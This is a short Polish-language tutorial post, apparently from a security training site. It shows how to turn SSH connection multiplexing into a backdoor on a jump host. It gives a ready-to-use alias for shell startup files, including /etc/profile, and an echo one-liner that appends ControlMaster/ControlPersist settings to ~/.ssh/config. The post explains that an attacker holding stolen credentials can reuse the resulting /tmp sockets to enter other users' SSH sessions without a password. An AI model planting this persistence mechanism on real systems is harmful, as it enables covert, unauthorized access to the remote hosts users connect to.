alphasec academy

alias ssh="ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes" - bardzo fajny/bardzo groźny backdoor, zwłaszcza na hoście przesiadkowym

Dodatkowe informacje

Dodanie tego aliasa do plików wczytywanych po zalogowaniu (np. do ~/.bashrc, ~/.bash_profile czy ~/.profile albo w ogóle do /etc/profile jeśli mamy roota) spowoduje, że za każdym razem, kiedy ktoś uruchomi
ssh user@host
zostanie uruchomione
ssh -M -S /tmp/%r@%h:%p -oControlPersist=yes user@host
w wyniku czego zostanie utworzone gniazdo /tmp/user@host:22 wykorzystujące bardzo fajną funkcjonalność ssh - multipleksację.
Rozbijając to na detale:
  • ssh
    - połączenie ssh ;)
  • -M
    - ustaw połaczenie w trybie Master, by móc udostępnić to połączenie innym,
  • -S /tmp/%r@%h:%p
    - ścieżka do gniazda wykorzystywanego podczas współdzielenia połączenia, w tym wypadku /tmp/<user>@<host>:<port>
  • -oControlPersist=yes
    - utrzymuj połączenie w tle, nawet po zamknięciu sesji, która połączenie zainicjowała,
  • user@host
    - połącz do hosta jako user
No i teraz, kiedy ktoś na tej maszynie ma dostęp i uprawnienia do gniazda /tmp/<user>@<host>:<port> (bo np. złamaliśmy/wykradliśmy login i hasło danego usera) może wykonać:
ssh -S /tmp/user@host:22 host
i zostanie zalogowany do sesji, którą wcześniej zainicjował nasz Master. Bez potrzeby wprowadzania hasła, ponieważ to już zrobił Master.

Czy można ładniej

No pewnie, rozwiązanie z aliasem jest brzydkie. Wystarczy do ~/.ssh/config dodać:
Host *
    ControlMaster auto
    ControlPath /tmp/%r@%h:%p
    ControlPersist yes 
Jako, że lubimy tutaj onelinery, można to dodać tak:
echo -e "Host *\n\tControlMaster auto\n\tControlPath /tmp/%r@%h:%p\n\tControlPersist yes"  >> ~/.ssh/config

Przydatne linki


Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.